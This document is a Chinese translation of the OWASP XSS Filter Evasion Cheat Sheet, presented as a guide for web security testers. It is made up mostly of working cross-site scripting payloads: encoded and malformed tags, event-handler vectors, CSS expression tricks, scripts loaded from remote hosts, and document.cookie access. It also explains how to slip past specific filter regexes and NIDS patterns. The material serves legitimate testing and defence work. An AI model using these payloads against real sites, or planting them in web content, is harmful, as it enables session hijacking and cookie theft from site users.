XSS Filter Evasion Cheat Sheet（XSS BYPASS 备忘录）

文章链接 https://www.secpulse.com/archives/61940.html

Xss Bypass 备忘录

技术要发展,免不了风波.

也许这些攻攻防防会更好的促进技术的发展也说不定

就让这一次次的爆破换来将来更精练的技术的无比的宁静吧

我们静观其变吧！

缅怀当初那份最纯真 Hacker 精神!!

2017.深圳

By:Legend

译文源起

翻译本文最初源自国内在对 2014 年老道翻译的一个版本，发现此版本有些翻译个人认为

不太满意，在加上 2017 年国庆长假漫漫，无人陪伴（主要还是约妹子没约出来！）。所以才对此进行翻译工作，希望对国内各位安全爱好者们有一定帮助吧。请允许译者用自己对此文档见解取一个中文名字—**XSS BYPASS 备忘录**。文中所有代码参考 OWASP 官方复制，同时对于官方文档里面有些描述不太清楚地方译者通过自己对 XSS 理解加入一些自己见解，来帮助各位对 XSS 理解更上一个台阶。，然后如文档之前说带上一个妹子名字。她说名字不让说，那么咱们姑且叫她小星星吧，翻译版权归她所有。对于翻译难免存在错误。请各位看官见谅！
翻译官方修订的版本：10/2/2017
关于译者：ID 太多自己都忘记叫那个比较合适，就叫笑摸二楼狗头吧！

译者说明

译者为 legend,当然也有人叫我小黑.或者…名字这些都不重要.本文部分章节采用了, OWASP Cheat Sheet Series 翻译项目, XSS 过滤绕过备忘单[1]部分小段,大概位于"URL 字符串绕过"章节特此说明.因为译者认为他们翻译比我更为通顺.其他部分皆为译者结合全文与相关资料而编写,鄙人不认为说比老道版本好多少或者差多少.每个读者感受不一样,我只能说对自己说:我已经尽力了.

如果有兴趣一起交流技术也欢迎联系我.作为一位安全圈萌新,还需要各位大佬带带,最后感谢自己的团队还有各位老铁们支持,如果没有你们意见或许就没有这份文档出现.关于如何联系我?

因上努力,果上随缘

特此说明:备忘录中译者标注和添加解释部分均用插入脚注方式或者如(译者注:)颜色标明,望知晓.

[1] XSS 过滤绕过备忘单-http://cheatsheets.hackdig.com/?4.htm

目录

介绍

本文重点是为 Web 应用安全测试人员提供指导，以协助进行 XSS 安全测试。本文初始内容由于 RSNake 从他的开创性 XSS 备忘录捐赠给 OWASP，该页面位于 http://ha.ckers.org/xss.html。该网站现在重定向到这里 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。我们计划在这里对它进行维护和更新。同时 XSS (Cross Site Scripting) Prevention Cheat Sheet 的第一个版本就是受到 RSnake 的 XSS 过滤绕过备忘录启发，所以我们要感谢他的灵感。我们希望创建简单，有效指南，开发人员可以遵循指南防止 XSS 攻击，而不是简单告诉开发人员构造可以防止在本备忘录中所有花哨技巧的程序，因此就有 XSS (Cross Site Scripting) Prevention Cheat Sheet 等安全备忘录系列诞生。

测试说明

这个 Bypass 备忘录适用于已经了解 XSS 攻击基础的人群，同时又希望深入了解防护绕过的细微差别。
请注意，大多数这些 XSS payload 已经在列出浏览器中进行了测试。

XSS 漏洞挖掘

在大多数情况下，如果页面没有对 XSS 进行特别过滤情况下，在存在 XSS 地方将会弹出"XSS"一词。可以通过 URL 编码对整个 payload 进去编码。小技巧：如果想通过快速方法去判断一个页面是否存在 XSS，通常只需要在"<PLAINTEXT>"标签处注入你的 payload，看看是否被打乱就可以判断是否存在 XSS 漏洞了。

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

XSS 漏洞挖掘 2

如果你没有足够的输入空间，去测试页面是否能执行 javascript，则此 payload 是一个很不错的紧凑型的 XSS 检测代码。输入代码后，通过此查询页面源代码搜索 XSS 看他是否存在问题。

```
';!--"<XSS>=&{()}
```

没有任何过滤的利用

这是一个常规的 XSS 测试代码,也是最容易被拦截的,但是我建议先尝试(关于引号在任何浏览器中都不需要,所以这里省略);

```
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
```

常见通用 XSS 绕过利用代码

```
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
```

利用 image 标签执行 Java Script 命令

利用 image 标签配合 Javascript 命令来实现 XSS。（IE7.0 浏览器不支持 Java Script 命令在 image 标签中触发 XSS，但是在可以在其他标签中出发。下面例子仅展示一种，其他标签依旧同样可以。）

```
<IMG SRC="javascript:alert('XSS');">
```

译者注:如文中所说,还有其他方法.此文档未列出了而已.这里译者简单罗列一下.

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<img src="URL" style='Xss:expression(alert(/xss/));'>
```

对屏蔽引号和分号的绕过

```
<IMG SRC=javascript:alert('XSS')>
```

敏感字符检测的绕过

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

HTML 实体转义

此样例中分号是必须要的。

```
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

利用重音符混淆绕过

如果你需要使用单双引号，但是又被过滤掉，可以使用重音符(`)2来封装你的 JavaScript 字符串,这个也是很多 XSS 防护以及过滤器没有考虑到这个字符.

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

2 重音符位于美式键盘 TAB 键上面那个键位,英文中俗称" Grave accent"键.

<a>标签的畸形用法

利用 Href 规定链接目标的特性,从而发起 XSS 攻击,此想法由 David Corss 提出,并且在 Chrome 浏览器上得到验证.

```
<a onmouseover="alert(document.cookie)">xss link</a>
```

此外 Chrome 喜欢替你做引号补全,如果你遇到不能被执行的话.那么就直接跳过忽略他们即可.因为 Chrome 会修复你 URL 或者脚本中丢失的引号,并且将它们补全.

```
<a onmouseover=alert(document.cookie)>xss link</a>
```

<IMG>标签的畸形用法

最早被 Begeek 发现(可谓短小而精悍的运行在任何浏览器上),这个 XSS paylod 依靠浏览器的渲染引擎解析 IMG 标签中的 XSS payload,该标签必须在引号内运行.我认为这个最初为了纠正错误编码而出现的.这将意味着可以使用难以理解 HTML 标签去解析.

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
```

利用 fromCharCoded 方法绕过引号限制

如果任何形式引号都被拦截的情况下, 你可以使用 fromCharCode()方法来创造你需要的 XSS Payload.

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

利用 SRC 默认属性绕过,SRC 域检测限制

此方法将绕过大多 SRC 域过滤器,可以利用事件方法插入任意 Java script 脚本.此方法也同样适用于 From,iframe,input,Embed 等任何 HTML 标记类型元素,同时它还允许标记类型相关事件作为备选进行替换,例如 onblur,onclick,在后面为你附近一份可用事件表.由于 Abdullah Hussam 提供. Abdulahhusam 编辑.

```
<IMG SRC=# onmouseover="alert('xxs')">
```

将 SRC 默认值为空.

```
<IMG SRC= onmouseover="alert('xxs')">
```

完全不设置 SRC 属性

```
<IMG onmouseover="alert('xxs')">
```

基于 erro 事件触发

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

IMG onerror 和 Java script 编码绕过

```
<img src=x
onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
```

十进制在 html 代码中运用

此示例所使用的 XSS payload 无法有些浏览器下使用.<在 Gecko 引擎下 IMG 标签在 firefox 和 Netscape 8.1+不起作用>

```
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
```

十进制且不带分号在 html 代码中运用

编码绕过 xss 过滤器经常会用到"&#XX;",但是大多数人不太知道编码限制最多允许 7 位字符.导致错误认为一个 html 编码需要用;去结束,那些对字符串解码也是同样,如$tmp_string =~ s/.*\&#(\d+);.*/$1/.(作者注:无意中发现)

```
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```

十六进制且不带分号在 html 代码中运用

这也是针对上述字符串$tmp_string =~ s/.*\&#(\d+);.*/$1/进行 XSS 攻击.

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

使用 TAB 绕过

用于绕过某些 XSS 防护.

```
<IMG SRC="jav	ascript:alert('XSS');">
```

对编码的 TAB 进行绕过

使用 TAB 编码3这个来分解 XSS.

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

利用换行符来拆解 XSS

一些人认为 09-13(十进制)都可进行此类型攻击,其实非也.其实只有 09(tab),10(换行)和 13(回车)可以使用.查看 ascii 表,下面四个示例将展现此 payload.

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

利用回车编码去拆解 XSS

注意:上面用这些字符串比规定的要长,因为 0 是可以被省略的.通常我们看到的过滤器绕过十六进制和十进制编码是两到三个字符.正确的应该是一到七个字符.

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Null 空字符分割 javascript 指令

Null 空字符也可以作为 XSS payload.但是不能像上边那样.你需要直接写入到他们利用工具中例如 burp,或者使用%00 字在你的 url 字符串里.在 opera 的老板(大概 7.11 on windows)对于 173 个 char 会受到影响.但是 null char %00 更有用,并帮助我们绕过某些真实的防护,类似示例中:

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

利用图像元素中 Javascript 的空格来绕过

XSS 过滤匹配模式很多情况都没有考虑"Javascript:"中可能有存在空格的情况,因此否则无法渲染.但是这也是导致错误的假设,认为你不可以有引号和"Javascript:"关键字.实际上,你可以从十进制的%01~%32 中得到任何字符;

```
<IMG SRC=" &#14;  javascript:alert('XSS');">
```

---

3 不止有 TAB,而且空格键也可以,并且可以利用两个空格来代替一个空格进行绕过测试.

非字母非数字型 XSS

Firefox HTML 解析器设定一个在 html 关键字中非字母非数字都不是有效的.因为这些字符会被视为空格或非有效的 HTM 标签.问题是一些 XSS 过滤器假设他们正在匹配关键字然后被空格拆解了.例如"<SCRIPT\s" != "<SCRIPT/XSS\s":

```
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
```

然后,基于上述相同想法,使用 Ranke fuzzer 进行拓展.Gecko 渲染引擎允许字母,数字或者 HTML 封装字符(如引号,尖括号)之外字符位于事件处理和等号之间.从而绕过 XSS 过滤器.注意这也只是适用于重音符如下所示:

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

根据 Yair Amit 提醒,IE 和 Gecko 渲染引擎之间略有不同,只允许标签和参数之间没有空格和斜杠.如果系统不允许空格,这示例可能很有用.

```
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
```

多重尖括号

由 Franz Sedlmaier 提交,这个 XSS paylod 可以通过首先使用匹配"<>"的检测引擎,然后通过比较内部标签,而没有使用更加有效的方式(例如匹配整个字符串尖括号和相关标签)."//"注释在结尾的用于防止 Javascrip 错误.

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

没有</script>标签绕过

在 Gecko 渲染引擎模式下 firefox 和 netscape8.1 中,实际上并不需要常规 XSSpayload 中的"></script>"部分.firefox 会为你非常体贴的安全闭合 HTML 标签,并且加入闭合标签!这不需要任何额外的 HTML.你可以添加引号,如果需要的话.但通常并不是必须的,注意:我不清楚这个代码写入到 html 代码会闭合成什么样子.

```
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
```

Script 标签中协议解析绕过

这个玩法由 Łukasz Pilorz 提出来的,并且 Ozh's 基于上下文提出协议解析绕过方法.这个 XSS payload 运行在 IE.Netscape 在 IE 和 opera 渲染模式中,不需要考虑编码问题,因为浏览器在".j"写法中,会自动识别<script>标签.这种方法非常有效在输入长度受到限制,时候来进行绕过.当然域名越短越好.

```
<SCRIPT SRC=//ha.ckers.org/.j>
```

利用括号半开在 HTML/JavaScript 进行 XSS

跟 firefox 不同,IE 渲染引擎不会加入额外的数据在你页面上.但是它允许 Javascript 利用在

<img>标签从而产生 XSS payload.因为它不需要一个结束">"尖括号.你可以插入这个 XSS 向量在任何 HTML 标签后面.甚至可以不用">"来闭合标签.注意:这样确实会搞乱 HTML,这取决于他下面的 HTML.同时对于这种入侵检测系统(NIDS)正则匹配可以直接绕过,表达式为:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 因为它不需要">"结束闭合标签.它也是可以有效对抗真实 XSS 过滤器,我曾经用这种半开的<iframe>标签代替<img>标签去绕过过滤器.

```
<IMG SRC="javascript:alert('XSS')"
```

双半开括号"<<"绕过

使用一个半开的"<"尖括号在 payload 结尾处代替">"进行闭合,会在 Netscape 和 Gecko 两个渲染下产生不同效果.firefox 正常使用,Netscape 就不行;

```
<iframe src=http://xss.rocks/scriptlet.html <
```

利用 Javascript 转义被转义绕过

当用户在一个应用程序编辑自定义信息的时候,在常规 Javascript 代码中是这样,例如:<SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>.如果你想插入你自己的 Javascript 代码时候,会被服务转义掉其中某些引号,这时你需要通过转义被转义字符来绕过它.从而使最终输入代码类似于<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>.最终双引号被服务器转义,并且触发了 XSS payload.示例如下:

```
\";alert('XSS');//
```

另外一种方法就是,如果 json 或者 Javascript 转义被应用嵌入数据,而不是 HTML 编码,则 Payload 如下示例:

```
</script><script>alert('XSS');</script>
```

利用</title>标签进行 XSS

这是一个非常 easy 的 XSS payload,可以利用闭合<title>标签,可以封装恶意的 XSS 攻击.

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

利用<input>标签进行 XSS

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

译者注:其实还可以利用<input>标签中的 hideeen 属性来触发,网上已经有详细描述,这里就不叙述了,示例如下:

```
<input type="hidden" name="returnurl" value="[USER INJECT]" />
```

利用<BODY >标签进行 XSS

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

利用<img>标签的 Dynsrc 属性进行 XSS

```
<IMG DYNSRC="javascript:alert('XSS')">
```

译者注:不过只在 IE 和 Netscape 中支持,Firefox 会提示 proprietary attribute 或者拒绝访问.同时译者在这里说明下,只针对 IE6 以前,到以后版本就不支持了.望注意(*^__^*).

利用<img>标签的 Lowsrc 属性进行 XSS

```
<IMG LOWSRC="javascript:alert('XSS')">
```

基于 CSS 的 List-style-image 属性进行 XSS

使用图像来替换列表项的标记,此 Javascript 指令只能在 IE 下使用,是一个不是特别有用的 XSS paylod.

```
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

译者注:由于翻译工作占用大量时间,没有在具体环境下测试此 paylod,但是理论上" list-style-image", 所有浏览器都支持 list-style-image 属性。

利用<img>标签中的 VBscript 命令进行 XSS

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

利用 Livescript 命令进行 XSS(只适用老版本 Netscape)

```
<IMG SRC="livescript:[code]">
```

利用 SVG 的<object>标签进行 XSS

```
<svg/onload=alert('XSS')>
```

基于 ECMAScript 6 的 XSS

```
Set.constructor`alert\x28document.domain\x29```
```

利用<BODY>标签 ONLOAD 属性进行 XSS

此方法不需要"javascript:"或"<script …"任何编码方式来进行 XSS 攻击. Dan Crowley 另外指出,你可以在等号之前放一个空格("onload=" != "onload ="):

```
<BODY ONLOAD=alert('XSS')>
```

基于事件句柄(或称为:事件处理器)

它可以用于上述类似 XSS 攻击(这是在撰写本文时在网络上最全面的列表了).感谢 Rene Ledosquet 在 HTML+TIME 上更新,此外你可以参考 Dottoro Web Reference 当然还有一份很好的 Javascript 事件列表.

1. `FSCommand()` (攻击者可以使用它当执行一个嵌入的 flash 对象时)
2. `onAbort()` (当用户中止加载图像时)
3. `onActivate()` (当对象设置为活动元素时)
4. `onAfterPrint()` (在用户打印或预览打印作业后激活)
5. `onAfterUpdate()` (在更新源对象中的数据后激活数据对象)
6. `onBeforeActivate()` (在将对象设置为活动元素之前触发)
7. `onBeforeCopy()` (攻击者在将选择复制到剪贴板之前执行攻击字符串 - 攻击者可以使用 `execCommand("Copy")` 功能执行此操作)
8. `onBeforeCut()` (攻击者在选择被切断之前执行攻击字符串)
9. `onBeforeDeactivate()` (在从当前对象更改 activeElement 之后触发)
10. `onBeforeEditFocus()` (在可编辑元素中包含的对象进入 UI 激活状态之前触发，或者当可控制可选容器对象被选择时触发)
11. `onBeforePaste()` (用户需要被欺骗粘贴或被强制使用 `execCommand("Paste")` 功能)
12. `onBeforePrint()` (用户需要被骗到打印或攻击者可以使用 `print()` or `execCommand("Print")` 功能).
13. `onBeforeUnload()` (用户需要被诱骗关闭浏览器 - 攻击者无法卸载窗口，除非从父级生成.)
14. `onBeforeUpdate()` (在更新源对象中的数据之前激活数据对象)
15. `onBegin()` (当元素的时间轴开始时，onbegin 事件会立即触发)
16. `onBlur()` (在另一个弹出窗口加载窗口失去焦点的情况下)
17. `onBounce()` (当选框对象的行为属性设置为 "alternate"并且选框的内容到达窗口的一边时触发.)
18. `onCellChange()` (数据提供者中数据更改时触发)
19. `onChange()` 选择, text,或 TEXTAREA 字段失去焦点,或其值已被修改)
20. `onClick()` (需要人点击表单)
21. `onContextMenu()` (用户需要右击攻击区域)
22. `onControlSelect()` (当用户即将对对象进行控件选择时触发)
23. `onCopy()` (用户需要复制某些东西，或者可以使用 `execCommand("Copy")` 命令利用它)
24. `onCut()` (用户需要复制某些东西，或者使用 `execCommand("Cut")` 命令可以利用它.)
25. `onDataAvailable()` (用户需要更改元素中的数据，或者攻击者可以执行相同的功能)

26. `onDataSetChanged()` (由数据源对象公开的数据集更改时触发)
27. `onDataSetComplete()` (触发以指示所有数据可从数据源对象获得)
28. `onDblClick()` (用户双击表单元素或链接)
29. `onDeactivate()` (当 activeElement 从当前对象更改为父文档中的另一个对象时触发)
30. `onDrag()` (要求用户拖动对象)
31. `onDragEnd()` (要求用户拖动对象)
32. `onDragLeave()` (要求用户将对象拖放到有效的位置)
33. `onDragEnter()` (要求用户将对象拖放到有效位置)
34. `onDragOver()` (要求用户将对象拖放到有效位置)
35. `onDragDrop()` (用户将一个对象（例如文件）放到浏览器窗口上)
36. `onDragStart()` (当用户开始拖动操作时发生)
37. `onDrop()` (用户将一个对象（例如文件）放到浏览器窗口上)
38. `onEnd()` (当时间轴结束时，onEnd 事件触发.)
39. `onError()` (加载文档或图像会导致错误)
40. `onErrorUpdate()` (当更新数据源对象中的关联数据时发生错误时，在数据绑定对象上触发)
41. `onFilterChange()` (视觉过滤器完成状态更改时触发)
42. `onFinish()` (当选框完成循环时，攻击者可以创建漏洞)
43. `onFocus()` (攻击者在窗口获得焦点时执行攻击字符串)
44. `onFocusIn()` (当窗口获得焦点时攻击者执行攻击字符串)
45. `onFocusOut()` (当窗口失去焦点时攻击者执行攻击字符串)
46. `onHashChange()` (当文档的当前地址的片段标识符部分更改时触发)
47. `onHelp()` (攻击者在窗口对焦时用户点击 F1 时执行攻击字符串)
48. `onInput()` (元素的文本内容通过用户界面进行更改)
49. `onKeyDown()` (用户按下一个键)
50. `onKeyPress()` (用户按下或按住一个键)
51. `onKeyUp()` (用户释放一个键)
52. `onLayoutComplete()` (用户必须打印或打印预览)
53. `onLoad()` (攻击者在窗口加载后执行攻击字符串)
54. `onLoseCapture()` (可以通过 `releaseCapture()` 方法利用)
55. `onMediaComplete()` (当使用流媒体文件时，该事件可能在文件开始播放之前触发)
56. `onMediaError()` (用户在浏览器中打开包含媒体文件的页面，当有问题时触发事件)
57. `onMessage()` (当文档收到消息时触发)
58. `onMouseDown()` (攻击者需要让用户点击图像)
59. `onMouseEnter()` (光标移动一个对象或区域)
60. `onMouseLeave()` (攻击者需要让用户将鼠标悬停在图像或表上，然后再次关闭)
61. `onMouseMove()` (攻击者需要让用户将鼠标放在图像或表格上)

62. `onMouseOut()` (攻击者需要让用户将鼠标移到图像或表上，然后再次关闭)
63. `onMouseOver()` (光标移动一个对象或区域)
64. `onMouseUp()` (攻击者需要让用户点击图像)
65. `onMouseWheel()` (攻击者需要让用户使用他们的鼠标滚轮)
66. `onMove()` (用户或攻击者会移动页面)
67. `onMoveEnd()` (用户或攻击者会移动页面)
68. `onMoveStart()` (用户或攻击者会移动页面)
69. `onOffline()` (如果浏览器工作在在线模式并且它开始脱机工作，则会发生)
70. `onOnline()` (如果浏览器处于离线模式并且开始在线工作，则会发生)
71. `onOutOfSync()` (中断元素根据时间轴定义的播放媒体的能力)
72. `onPaste()` (用户需要粘贴或者攻击者可以使用 `execCommand("Paste")` 功能)
73. `onPause()` (当时间线暂停时，包括 body 元素在内的每个元素处于活动状态时，onpause 事件触发)
74. `onPopState()` (用户导航会话历史时触发)
75. `onProgress()` (攻击者会将此作为 Flash 影片加载)
76. `onPropertyChange()` (用户或攻击者需要更改元素属性)
77. `onReadyStateChange()` (用户或攻击者需要更改元素属性)
78. `onRedo()` (用户在撤销交易历史中前进)
79. `onRepeat()` (事件每次重复一次时间轴，不包括第一个完整周期)
80. `onReset()` (用户或攻击者重置表单)
81. `onResize()` (用户将调整窗口大小;攻击者可以自动初始化,例如: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
82. `onResizeEnd()` (用户将调整窗口大小;攻击者可以自动初始化，例如: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
83. `onResizeStart()` (用户可以调整窗口大小;攻击者可以自动初始化，例如: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
84. `onResume()` (时间轴恢复时，每个元素上的 onresume 事件都会触发，包括 body 元素)
85. `onReverse()` (如果元素的 repeatCount 大于 1，则此事件会在时间线开始向后播放时触发)
86. `onRowsEnter()` (用户或攻击者需要更改数据源中的一行)
87. `onRowExit()` (用户或攻击者需要更改数据源中的一行)
88. `onRowDelete()` (用户或攻击者需要删除数据源中的一行)
89. `onRowInserted()` (用户或攻击者需要在数据源中插入一行)
90. `onScroll()` (用户需要滚动，或者攻击者可以使用 `scrollBy()` 函数)
91. `onSeek()` (当时间线设置为在向前方向以外的任何方向播放时，onreverse 事件触发)
92. `onSelect()` (用户需要选择一些文本 - 攻击者可以自动初始化，如: `window.document.execCommand("SelectAll");`)
93. `onSelectionChange()` (用户需要选择一些文本 - 攻击者可以自动初始化，如: `window.document.execCommand("SelectAll");`)

94. `onSelectStart()` (用户需要选择一些文本 - 攻击者可以自动初始化，如: `window.document.execCommand("SelectAll");`)
95. `onStart()` (在每个选框循环的开始处触发)
96. `onStop()` (用户需要按停止按钮或离开网页)
97. `onStorage()` (存储区域更改)
98. `onSyncRestored()` (用户中断元素根据时间轴定义的播放媒体的能力)
99. `onSubmit()` (要求攻击者或用户提交表单)
100. `onTimeError()` (用户或攻击者将 dur 属性设置为无效值)
101. `onTrackChange()` (用户或攻击者在播放列表中更改轨道)
102. `onUndo()` (用户在撤消事务历史记录中向后退)
103. `onUnload()` (当用户点击任何链接或按下后退按钮或攻击者强制点击)
104. `onURLFlip()` (当由 HTML + TIME（定时互动多媒体扩展）媒体标签播放的高级流格式（ASF）文件处理嵌入在 ASF 文件中的脚本命令时，该事件触发)
105. `seekSegmentTime()` (这是一种在元素段时间线上定位指定点并从该点开始播放的方法，该段由包括使用 AUTOREVERSE 属性的反向播放的时间线的一个重复组成.)

利用< BGSOUND >标签进行 XSS

```
<BGSOUND SRC="javascript:alert('XSS');">
```

利用& JavaScript includes 方法进行 XSS

```
<BR SIZE="&{alert('XSS')}">
```

利用样式表<ink>标签进行 XSS

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

利用远程样式表进行 XSS

(使用像远程样式表这样的东西,你可以利用样式参数作为 XSS,可以用嵌入表达式方式来完成 XSS 攻击).但是它仅仅适用在 IE 浏览器或者 Netscape 8.1+下运行.需要注意页面上没有显示包含 Javascript 代码.使用这样的远程样式表,至少需要使用 body 标签,因此除非显示 paylod 本身的其他内容.如果他是一个空白页面,你需要添加至少一个字母到页面显示,确保 payload 可以正常工作..

```
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
```

利用远程样式表进行 XSS part 2

这跟上述原理相同,只不过这里使用的<STYLE>标签来代替<LINK>,稍微变动下被用来攻击 GOOGLE Desktop.注意:如果此 payload 遇到闭合后会出现在 htrml 上,则可以考虑删除</style>.如果你在 XSS 脚本攻击中无法使用等号或斜杠,那么可以试试这个:

```
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
```

利用远程样式表进行 XSS part 3

适用于 Opera8.0(不支持 9.X),根据 RFC2616 设置链接头,.它不符合 HTTP1.1 的规范,但是有一些浏览器仍然允许它(如 firefox 和 Opera).这里技巧就是,我设置一个 http 头(这里与 HTTP 头没什么区别,例如: <http://xss.rocks/xss.css>; REL=stylesheet).这样带远程 XSS payload 将会运行,但是它并不支持 FireFox.

```
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
```

利用远程样式表进行 XSS part 4

仅适用于 Gecko 渲染引擎,并将 XUL 文件绑定到父页面.个人认为这里是讽刺 Netscape,Gecko 是更安全的,因此绝大多数网站容易受到这种影响:

```
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
```

利用<style>标签来分解 XSS payload

此 payload 有时会将 IE 浏览器中造成无限循环.

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

利用<img>style 属性配合注释符来分解 XSS payload

由 Roman Ivanov 创建.

```
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

利用<style>标签进行分解 XSS payload 增强版

这与上述 XSS payload 混合,但他确实展现了<style>标签被分隔解析是多困难.同样它也会在 IE 下造成无限弹窗.

```
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
```

利用<STYLE>标签(仅限于老版本 Netscape)

```
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
```

利用<style>标签的 background-image 属性进行 XSS

```
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
```

利用<style>标签的 background 属性进行 XSS

```
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
```

利用具有 style 属性的匿名的 HTML 标签进行 XSS

IE 渲染引擎模式中 IE6.0 和 Netscape8.1+并不关系你创建的 html 标签是否存在,只要它是以<>全开括号和字母开头就行;

```
<XSS STYLE="xss:expression(alert('XSS'))">
```

利用本地 HTC 文件进行 XSS

这跟上述两个 XSSpayload 有点不同,因为它使用的.htc 文件必须与 XSS payload 在同一域内.示例文件通过写入 Javascript 并利用 style 属性来运行;

```
<XSS STYLE="behavior: url(xss.htc);">
```

US-ASCII 编码

US-ASCII 编码(由于 Kurt Huwig 发现).这里使用 7 位代替 8 位,该 XSS payload 可以绕过很多基于内容检测的过滤器,但仅限于主机上使用 US-ASCII 编码传输或者你设置为此编码时才起作用.这对于 WEB 应用防火墙 XSS 过滤比对服务器端过滤绕过更有用.已知 Apache Tomcat 目前唯一以 US-ASCII 编码传输的服务器.

```
¼script¾alert(¢XSS¢)¼/script¾
```

利用< META >标签进行 XSS

利用<META>奇怪之处在于它不会在 http 头中发送引用 referrer,因此它可以用用于某些类型攻击,你需要避免引入 URL:

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

利用<META>标签的 content 属性进行 XSS

这种方案其实很不错,因为他没有任何明显的 script 或者 Javascript 指令,因为它使用 base64 编码.具体请参考 RFC 2397 了解更多详情,或者访问此处 XSS 编码器对你的 XSSpaylod 进行 base64 编码.

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

利用<META>标签的带 URL 参数进行 XSS 绕过

如果目标网站尝试检查 URL 是否包含 http://,那么你可以使用以下 payload 来绕过它.(由于 Moritz Naumann 提出);

```
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

利用<IFRAME>标签进行 XSS

如果目标网站允许<IFRAME>,那么会产生很多 XSS 问题.

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

利用事件触发<IFRAME>标签的 XSS

Iframes 还有大多数其他元素可以使用像一下基于事件来进行混淆(由于 David Cross 提交.)

```
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
```

利用<FRAME>进行 XSS

<FRAME>与<IFRAME>存在相同的问题.

```
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
```

利用<TABLE>标签进行 XSS

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

利用<TD>标签进行 XSS

如图上面所述,<TD>也容易受到包含 Javascript 的 XSS payload 攻击.

```
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
```

利用<DIV>标签

在 DIV 中使用 background-image 属性完成 XSS

```
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

使用 background-image 属性配合 unicoded 编码完成 XSS

这只是稍微修改去混淆下 URL 参数.它最早被 Renaud Lifchitz 发现用于攻击 hotmaill;

```
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
```

